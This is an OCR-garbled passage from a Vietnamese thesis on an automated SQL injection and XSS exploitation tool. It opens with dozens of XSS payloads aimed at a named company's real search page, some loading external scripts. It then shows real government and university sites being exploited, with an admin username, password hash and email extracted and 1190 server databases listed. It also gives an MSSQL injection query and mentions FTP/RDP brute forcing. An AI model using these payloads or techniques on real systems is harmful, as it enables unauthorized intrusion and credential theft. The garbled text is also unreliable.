§><soript=alert(§xSSe)</script> http://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1&lt;/BODY&gt; &lt;/HTML&gE;
<script=alert(/X55¢)</script> http://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1%3C

<seriptzalert(/%55/)</scripts http://www.resene.co.nz/Colour-Experts/search_results.php?searchText=18&lt

<fscript<scriptzalert(1)</scripts= http://www.resene.co.nz/Colour-Experts/search_results.php?searchText=18&It;

&; alert(1); http://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1&LT

&)alert(1);// http://www.resene.co.nz/Colour-Experts/search_results.php?searchText=18&lt;

<ScRiPt>alert(1)</sCriPt> http://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1&LT;

<IMG SRC=]AVasCriPt:alert(@X55¢)> http://www.resene.co.nz/Colour-Experts/search_results.php?searchText=18&lt;

<IMG SRC=gjavascript:alert(gXS5¢); @ http://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1\u003c

<IMG SRC=javascript:alert(&quat; ¥SS&quot;)> http://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1\u003C

<IMG SRC=javascript:alert(§X55¢)> http:/fwww.resene.co.nz/Colour-Experts/search_results.php?searchText=1\x3C

<img src=xss onerror=alert(1)> http://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1\x3c

<iframe %00 src="&Tab;javascript:prompt(1)&Tab;"%00> http://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1gscriptgalert(gx55¢)¢/scripté
<svg><style={font-family&colon; <iframe/onload=confirm{1)>' http://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1+ACIAPgAS-script+AD4-alert{document.location)
<input/onmouseover="javaSCRIPT&colon;confirm&lpar; 1&rpar;” http://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1%2BACIAPgAS-script%2BAD4-alert%28documer
<sVg><scRipt %00>alert&lpar; 1&rpar; {Opera} http://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1%253cscript%253ealert{document.cookie) %253
<ima/src="%00" onerror=this.onerror=confirm(1) http://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1+ADw-script+AD4-alert(document.location)+ADw
<formz<isindex formaction="javascript&colon;confirm(1)" http://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1%2BADw-script+AD4-alert(document.location) %
<img src="%00" &NewLine; onerror=alert(1)&NewLine; http://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1¢; alert(document.cockie); var foo=¢
«<script/&Tab; src="https://dl.dropbox.com/uf13018058/is.js' f&Tab; > </script: http://www.resene.co.nz/Colour-Experts/search_results.php?searchText=1foo\g; alert(document.cockie);//&;

<ScRipT 5-0%3+9/3=>prompt(1)</ScRipT giveanswerhere=?
<iframe/src="data:text/html;&Tab;base64&Tab; PGIvZHkgb255b2FkPWFsZXJ0KDE
<script /%007 >/*%00%/alert(1)/* %00 /</script /*%00%/
&#34,&#62;<h1/onmouseover="\u006 llert(1)'>%00
<iframe/src="data:text/html,<svg &#111;8#110;load=alert(1)>">

<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&calon; alert(1)" http-equiv:
<svg><seript xlink: href=data&colon;, window.open('https: /fwww.google.com/")»</
<svg><script x:href="https://dl.dropbox.com/u/13018058/}s.js' {Opera}

<meta http-equiv="refresh" content="0;url=javascript:confirm({1)">

<iframe src=javascript&colon; alert&lpar; document&period;location&rpar; >
<form><a href="javascript:\u0061lert&#x28;1&#x29;">X
<fscript=<img/*%00/src="worksinchrome&colon; prompt&#x28; 1&#x29;"/%00%/0
<img/&#09;&#10;&#11; src="~" onerror=prompt(1)>

<formz<iframe &#09;&#£10;&#11; src="javascript&#58;alert(1)"&#11;&# 10;&#0¢
<a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine; ,PHNjcmly
http://www.google<script .comzalert{document.location) </script
<a8#32;hrefd#61;8#91;8#00;8#93;"&#00; onmouseover=prompt&#40;18#41;

<img/src=@8&#32;&#13; onerror = prompt('&£49;") S
Hinh 39: Phat hién va khai thac lo hong XSS

4.1.3. Thir nghiém khai thac cac 16 hong an ninh khac
- Phat hién file dir liéu nhay cam cua website: C6 kha nang quét va phat
hién 31 loai file dit lieu nhay cam gom: pub.zip, pub.rar, public_html.zip,

public_html.rar, html.zip, html.rar, backup...

- Tién hanh xu ly song song nhiéu website, thuc hién crawl, phat hién va
khai thac dong thoi 02 loai 16 hong SQLI va XSS. Qua thtr nghiém vai may tinh
cau hinh su dung bo xt Iy Intel Core i5-6200U CPU, RAM 8GB ¢4 thé thuc hién
déng thoi 53 muc tiéu, TH-Scanner chay hon 200 threads chiém 6% CPU.
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Hinh 40: Dung lwong sir dung khi xit Iy song song nhiéu muc tiéu

Véi chirc ning brute force tai khoan dang nhap FTP va RDP, bo tir dién
doan mat khau con it do d6 méi chi thuc hién brute force dugc vai mot s6 mat
khau don gian.

4.1.4. Nhan xét

TH-Scanner c6 thé phat hién va khai thac tot véi cac 16 hong SQLi véi
CSDL MySQL, SQL, Error based, Blind, mot sé dang bypass co ban va nang
cao, ¢ thé khai thac nhimg website c6 do bao mat trung binh cta co quan chinh
phu, to chic gido duc, tuy nhién van chwa khai thac dugc hét véi tat ca cac dang

CSDL, chua bypass nhiéu dang loc nang cao do ngudi 1ap trinh cau hinh.

Véi 16 hong XSS, c6 kha nang phat hién tot URL c6 16 hong XSS va khai
thac mot sé payload véi XSS. Vi mot s URL thuc hién loc ky tu metadata nang
cao chua thyc hién bypass tot.

4.2. So sanh véi cac phin mém quét khac

4.2.1. So sanh tinh nang

TH-Scanner tich hop nhiéu tinh nang: thu thap di liéu, phat hién, khai thac
SQLi va XSS, Iap lich quét nhu cac phan mém Acunetix, Burp Suite. Ngoai ra
con bo sung mot s tinh nang mai nhu Brute force tai khoan FTP, RDP. So sanh
tinh nang cua phan mém TH-Scanner va cac phan mém khac duogc thé hién tai
Bang 4.2.1.
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Bang 4.2.1 - So sanh tinh nang ciia TH-Scanner va cac phan mém quét khac

inh ndang | Crawler | Phat Phat Lap Brute | Brute | Quét Thiét | Panh | Ty dong
hién, hién, lich force force cong lap chin nhan
khai khai chay FTP RDP Proxy dién va
thac thac nhiéu nhap
SQLi XSS website théng tin
cung vao
luc webform
TH- Co Co Co Co Co Co Co Co Khong | Khong
Scanner
Acunetix Co Co Co Co Khéng | Khong | Co Co Khéng | C6
SQLMap Khéng | Cé Khéng | Khéng | Khéng | Khéng | Co Khéng | Khéng | Co
BurpSuite Co Co Cé Cé Khéng | Khong | Co Co Co Co
Havij Khéng | Cé Khéng | Khéng | Khéng | Khong | Khdng | Khéng | Khéng | Khéng
XSSer Co Khéng | Co Khong | Khong | Khong | Co Cé Khong | Khong

4.2.2. So sanh hiéu qua:

Str dung 02 bo test: sgli.txt (10 URL) va xss.txt (14 URL) véi 5 phan mém:
TH-Scanner, Acunetix, SQLMap, ZAP, Havij, két qua dugc thé hién trén Bang

4.2.1.
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Bang 4.2.1 - Két qua kiém tra tinh nang phat hién va khai thac SQLI, XSS

Phat Khai Phat Khai Thoi
hién thac hién thac gian
SQLI SQLI XSS XSS
TH- 9/10 9/10 9/14 9/14 275
Scanner
Acunetix 5/10 |Khong tu 5/14 5/14 6m
dong  khai
thac
SQLMap 8/10 8/10 Khong Khong 8m
ZAP 4/10 |Khéng tu 6/14 6/14 6m 48s
dong  khai
thac
Havij 8/10 8/10 Khong Khong 56s

Qua théng k& cho thdy véi hai 16 héng SQLi va XSS, phan mém

TH-Scanner thuc hién phét hién va khai thac hiéu qua hon so vé&i cac phan mém

hién thoi. Ngoai ra, viéc tu dong phat hién va khai thac 16 hong SQLI, XSS gilp

ngudi dung dé dang sir dung.

* Danh sach mét s6 website ma TH-Scanner c6 thé phat hién va khai thac

thanh cong trong khi nhizng phan mém quét khdc khéng lam duoc.

Voi URL:

http://www.mlmupc.gov.kh/?page=detail&menul=215&menu2=454&ctype=arti

cle&id=9



http://www.mlmupc.gov.kh/?page=detail&menu1=215&menu2=454&ctype=article&id=9
http://www.mlmupc.gov.kh/?page=detail&menu1=215&menu2=454&ctype=article&id=9

T arget: Cwereomilmupe.gow. kh/ Ppage—detail@&menul—215&menu2—454f&ctype—articlesid—29 | -
Keyword: Suntax: | Auto Anabyze
Database: Auto Detect - tAethod: SET =] Tvpe: [Aute Detect ~]
: —— Load Sawe
Post Data: [ Load |
- =i == -
About m e o Files Wifrite File “rmd Shel Jes Find Admin rADS Settings
Havwij - Advanced SQL Injection Tool
Version 1.17 Pro
ITSECTEAM Copyright © 2Z0O09-2012
By r2dmowv=
| http : /FITSecTeam.com
http : /fforum.Itsecteam.com
[ | info@itsecteam.com Check for update
| Databases: License
Ms=SQL with error -
MsSCQL Nno error =
MsS0QL Blind
M=SOQL time based
MsAccess
L Msaccess Blind =
Status: I'm IDLE | Log Clear Log
Aare
| 2
| | at not effectiwve Tl owing:
o t parameter
o value tart
WO ET* method is
Hinh 41: Sir d han mém Havij
— ap oy

BN Administraton Command Prompt

[14:=-52:-481 [CRITICAL]I all tested parrameters appear
increase *T——level’ ' —risk’' walues to perform more tests o
erun by providing either» a valid value for option "—string”
you suspect that there is
maybhe vyou could »etry with

Also .
Cor

o
>

an option *—tamper’ <e.g.

[+*1 shutting down at 14:-5%:-48

‘menul’ is not recogni=zed
operable program oy batch
fmenu2’ iz not recogni=zed
operable program oy batch
‘ctype’ is not recogni=zed
operable program or batch
Tid* is not recogni=zed as an internal o
operable progyram o batch fFile.o

Hinh 42: Sir dung phan mém SQL Map

as an internal or external command.

File .
as _ an
File.
as _ an
File.

internal or external command.

internal or external command.

external command .

to be not injectahble.

some kind of protection mechanism involuved <e.-.go-
f——tamper=spaceZcomment”® >

Try to
can t»y to
—regexp”t .

WAF>

m
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| ) TH-Scanner (Exploit SQli vulnerability) ==l

£ Auto exploit | Analyse |28 Get DBs [ Get tables T|Get columns == Get data | 5| Save data

URL:  http:/fwww.mlmupc.gov.kh/?page=detail&menul=215&menu2=454&ctype=article&id=9

DB: MySQL h Processing log
=l username « | |tblcategaory, tbldocument, tblgallery, thllevel_setting, tbllocation, thllogin_report, - I
-[¥|password tbimaillinklist, tbimember, tbimember_login, tblpermission, tblsite, tblsubscribe,
- [¥]email tbltracking_report, tbltranslate, thitranslate_lang, tbluser, tbluser_level, thluser_login,
[Fluser_level thlverify, tblverify_member, tblvisitor_counter, v_article_description_en,

v_article_description_kh, v_article_title_en, v_article_title_kh, v_gallery_title_en,

“[Clobject_allows v_gallery_title_kh

|| permission_allows
- |lac_add Find columns of table: mimupcgo_dbnew.thluser

-["lac_edit L 21 columns: id, userid, username, password, email, user_level, object_allows,
-[lac_delete =|||permission_allows, ac_add, ac_edit, ac_delete, ac_duplicate, ac_recyclebin, ac_restore,
-["ac_duplicate ac_drop, user_status, recycle, ip_address, add_date, edit_date, delete_date
acﬁrec:clebln Get data of table: mimupcgo_dbnew.tbluser A
ac_restore 1/1 rows £
ac_drop
~|Cluser_status - -
userid username password email
admin 3a3a50522d4b3d3c4b6958a750d69102 | n.bunny@servingweb.com

Hinh 12: Sir dung TH-Scanner
Nhu vay véi 02 phan mém khai thac SQLi kha manh 1a Havij va SQLMap
khong khai thac duoc URL trén (két qua hién thi tai Hinh 41 va Hinh 42), tuy
nhién TH-Scanner cd thé khai thac va lay dugc toan bo théng tin CSDL (Hinh
43). Nguyén nhan la do TH-Scanner thyc hién mot sb lénh bypass nang cao moi
cap nhat, do d6 c¢6 kha nang khai thac nhitng website ma cac phan mém khac
khong thuc hién duoc.

* TH-Scanner c6 thé ldy duwroc toan bé tén cac CSDL véi SQL Server:

Str dung cau lénh:

http://www.site.com/index.php?id=1 and 1=convert(int,(SELECT top 1
substring((STUFF((SELECT name as temp FROM Sys.Databases FOR XML
PATH(")),1,0,")),-100,4000) as csdl FROM Sys.Databases ))--+

Véi website http://www.cdsphue.edu.vn/ ¢6 thé lay duoc toan bo 1190
CSDL dat trén may chu (Hinh 44).
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=

DB: MS SQL Server

£ Auto exploit |« Analyse | 2 Get DBs [ Get tables

Get columns Get data Save data

URL:  http://www.cdsphue.edu.vn/thuvien/fullsizeimage.asp?ID=163

Processing log

-] cdsp_hue
- |2012_tinsport
-|_laaa_phongve24hcom
-\ |aackiemtoan
|| abatdongsan

abcdef
-] abillingdivn
|| adbBMA
~|_|adbChiHoa
-|_ladbPhuongLanCs
- |adbtuananh
|| adbtuixachphuonaglan
-] AdminCMS
- |agribankphuyen

A s
1177: vntours

1178: web_bvqt

1179: web_danangupiz014
1180: web_hueimc

1181: WebAgribank

1182: webgnpc

1183: webvienkinhte

1184: wsccqe

1185: wsindopala

1186: wsindopalademao
1187: xekhachtuyenminh
1188: xosobdh

1189: xuonggoTruongAnh
1190: YenHaiThanh

4.2.3. Nhan xét:

Vé tinh ning, TH-Scanner bo sung thém mot sé tinh nang ma cac phan
mém quét khac it c6 nhu: Khai thac ddng thai ca 16i SQLI, XSS; 1ap lich chay
nhiéu website cing lic, Brute Force FTP, Brute Fore RDP. Tuy nhién, TH-
Scannner van con thiéu nhiéu tinh ning nhu: tw dong nhan dién va nhap thong tin
vao webform, khai thac Google Hacking Database, thuc hién 1énh, truy cap file
hé théng, giai ma mat khau tai khoan, cai ma doc, tai dir liéu vé may chi hoic giri
di liéu vé email...

V& tinh hiéu qua, TH-Scanner c6 thé khai thac mot s6 website cd mirc do

an ninh trung binh, bypass mot s6 ham loc do nguoi lap trinh thiét 1ap, tuy nhién

Hinh 44: TH-Scanner ldy toan bg CSDL SQL Server

con nhiéu website ma TH-Scanner khong phat hién va khai thac duoc.
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KET LUAN
Qua mot thoi gian nghién curu, dugc su gitip do tan tinh cua giao vién
hudng dan, cac ddng nghiép, gia dinh, dén nay luan van “Phan tich tu déng céc
Website dé phat hién 16 hong tiém nhiém SQL va XSS ” co ban di dat duoc céc

muc tiéu dé ra;

+ Nghién ciru céc 16 hong an ninh ang dung web, phuong phap khai thac
16 hong an ninh SQLI, XSS véi ting loai CSDL, cach thitic bypass viéc loc cac ky

tu dau vao do ngudi lap trinh thiét 1ap.

+ Xay dung phan mém c6 cé4c chic niang: crawler, phat hién va khai thac 15
hong an ninh SQLi va XSS, do quét cac file nhay cam, duong dan ding nhap,
brute force tai khoan dang nhap FTP va RDP.

+ Tién hanh xir Iy song song, 1ap lich ¢ thé thuc hién do quét nhiéu muc
tiéu ddng thoi trén ca 05 chic nang 1a: crawler, do quét SQLI, XSS, tim file nhay
cam, duong dan ding nhap.

+ Phan mém nay c6 kha nang phat hién va khai thac tét mot sé6 muc tiéu
ma cac phan mém quét hién tai khong thuc hién dugc.

Hwéng phat trién:

Trong thoi gian tai, tiép tuc hoan thién cac chirc nang nhu: nghién ctu bo
sung thém cac giai phap bypass nang cao trong khai thac 16 hong SQLI; giai phap
bypass ky tu metadata trong khai thac XSS, xay dung b tir dién twong ddi day du
brute force tai khoan FTP, RDP; thtr nghiém véi nhiéu website dau vao dé cd thé
khai thac nhiéu nhat cac dang SQLi va XSS. Ngoai ra,mdt sb tinh nang méi ciing
s& duoc bo sung thém nhu crack mat khau, cai ma doc 1én may chu, truy cap file
hé thong..., phat trién phan mém thanh cong cu kiém tra 16 hong an ninh ng

dung web tuong d6i hoan thién.
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